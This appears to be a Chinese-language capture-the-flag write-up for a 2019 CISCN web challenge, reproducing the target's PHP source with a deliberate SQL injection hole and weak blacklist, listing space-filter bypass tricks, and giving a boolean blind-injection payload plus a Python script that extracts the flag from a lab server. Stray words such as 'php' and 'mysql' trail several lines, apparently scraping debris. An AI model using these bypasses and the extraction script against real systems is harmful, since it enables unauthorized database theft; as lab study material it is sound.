[TOC]php
離國賽已通過去很久了,到如今纔看復現,這道題當時作的時候沒有什麼頭緒,如今來看答案發現其實沒有很難,就是經驗還不足html
題目復現連接:https://buuoj.cn/challenges 參考連接:ciscn2019華北賽區半決賽day2_web1題解node
搜索框輸入1或2會返回結果,其餘都返回bool(false)。過濾了union、and、or、空格等,包括/**/
,後來看源碼知道是過濾了*
。 有意思的是輸入1/1
時會正常返回結果,能夠判斷這是數字型的sql注入。mysql
源碼以下:web
<?php $dbuser='root'; $dbpass='root'; function safe($sql){ #被過濾的內容 函數基本沒過濾 $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); foreach($blackList as $blackitem){ if(stripos($sql,$blackitem)){ return False; } } return True; } if(isset($_POST['id'])){ $id = $_POST['id']; }else{ die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db); if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }
根據1和2返回結果的不一樣,多是bool盲注,()
沒有過濾,能夠使用大部分函數,當時是卡在了空格的繞過 空格的繞過有這些方法我測試是能夠的 %09
%0a
%0b
%0c
%0d
/**/
/*!*/
或者直接tab %20
好像無法繞,%00
截斷好像也影響sql語句的執行 或者用括號也能夠。任何能夠計算出結果的語句,均可以用括號包圍起來。而括號的兩端,能夠沒有多餘的空格。 本題中能夠if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
sql
貼上我寫的bool盲註腳本函數
import requests url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php' result = '' for x in range(1, 50): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = "if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid) data = { "id":payload } response = requests.post(url, data = data) if 'Hello' in response.text: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr(int(mid)) print(result)